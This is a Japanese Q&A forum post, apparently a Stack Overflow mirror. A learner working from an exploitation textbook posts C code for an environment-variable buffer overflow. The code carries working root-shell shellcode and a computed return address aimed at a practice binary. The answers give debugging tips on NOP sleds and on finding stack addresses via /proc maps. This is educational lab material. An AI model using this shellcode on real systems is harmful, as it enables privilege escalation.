2016-04-27 21 views
1

私はこのコードを「Hacking:The Exploitation of The Art of Exploitation」に触発されています。これには、環境変数を使用してバッファーオーバーフローを利用することが含まれます。開発コード:環境変数を使用したバッファオーバーフロー

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51" 
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd" 
"\x80"; 

int main(int argc, char *argv[]) { 
    char *env[2] = {shellcode, 0}; 
    unsigned int i, ret; 

    char *buffer = (char *)malloc(160); 

    ret = 0xbffffffa - sizeof(shellcode) - strlen("./auth_overflow"); 

    for (i = 0; i < 160; i += 4) 
    *((unsigned int *)(buffer + i)) = ret; 

    execle("./auth_overflow", "auth_overflow", buffer, (char *)NULL, env); 
    free(buffer); 
} 

問題はベースアドレス0xbffffffaです。私はhereを読んでいます。なぜなら、このアドレスの理由は「Linuxカーネルはそういう形で実装されているからです」ということです。それでも、このエクスプロイトは機能していないため、セグメンテーション違反が発生します。

私は、64ビットマシン上でカーネルのバージョン3.13.0-83-genericUbuntu 14.04を実行していると私は、次のコマンドを使用して搾取・コードをコンパイルしています:

gcc -m32 -fno-stack-protector -z execstack -g exploit.c -o exploit 

私もASLRを無効に。

このアドレスの決定方法に関するご意見はありますか?

ありがとうございました。

答えて

1

実際のシェルコードの前に、nop sledを使用することが考えられます。そうすれば、もしあなたのアドレスの近似が悪ければ、あなたのシェルコードが実行されるまで、nopを打つ機会が増えます。

このアドレスを取得するには、/proc/<<pid>>/mapsのメモリマッピングを調べることができます。

+0

私が覚えている限り、この本は、上記の悪用はNOPスレッドを必要としないという利点があると言っています。 しかし、/ proc/<>/mapsを調べると、現在のプロセスのスタックアドレスを取得するのに役立ちました。今、悪用が機能します。 –